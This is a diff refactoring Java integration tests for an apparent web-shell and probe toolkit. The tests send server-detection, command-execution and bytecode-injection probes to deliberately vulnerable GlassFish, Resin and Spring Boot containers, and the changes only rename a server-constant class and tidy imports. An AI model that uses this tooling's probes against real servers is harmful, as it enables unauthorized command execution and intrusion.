|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.payara;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Payara520225ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.payara;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class Payara620222ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.GLASSFISH, data);
|
||||
assertEquals(Server.GlassFish, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.GLASSFISH, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Resin3116ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Resin318ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_7);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_7);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_7);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7);
|
||||
}
|
||||
}
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Resin4058ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.resin;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -54,20 +53,20 @@ public class Resin4067ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.RESIN, data);
|
||||
assertEquals(Server.Resin, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.RESIN, Opcodes.V11);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V11);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.RESIN, Opcodes.V11);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
+4
-5
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -15,9 +15,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WebfluxDockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -53,6 +52,6 @@ public class SpringBoot2WebFluxContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.SpringWebFlux.name(), data);
|
||||
assertEquals(Server.SpringWebFlux, data);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -15,9 +15,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot3WebfluxDockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -53,6 +52,6 @@ public class SpringBoot3WebFluxContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.SpringWebFlux.name(), data);
|
||||
assertEquals(Server.SpringWebFlux, data);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,14 +1,11 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.probe.payload.response.TomcatWriter;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot1Dockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -60,20 +54,20 @@ public class SpringBoot1ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
+6
-12
@@ -1,14 +1,11 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.probe.payload.response.TomcatWriter;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -61,20 +55,20 @@ public class SpringBoot2ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2JettyDockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -57,20 +55,20 @@ public class SpringBoot2JettyContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.JETTY, data);
|
||||
assertEquals(Server.Jetty, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.JETTY, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -18,9 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2UndertowDockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class SpringBoot2UndertowContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.UNDERTOW, data);
|
||||
assertEquals(Server.Undertow, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -56,20 +54,20 @@ public class SpringBoot2WarContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.TOMCAT, Opcodes.V1_6);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-12
@@ -1,14 +1,11 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.probe.payload.response.TomcatWriter;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
@@ -20,11 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.CoreMatchers.anyOf;
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromSpringBoot;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -60,20 +54,20 @@ public class SpringBoot3ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.TOMCAT, data);
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromSpringBoot(container);
|
||||
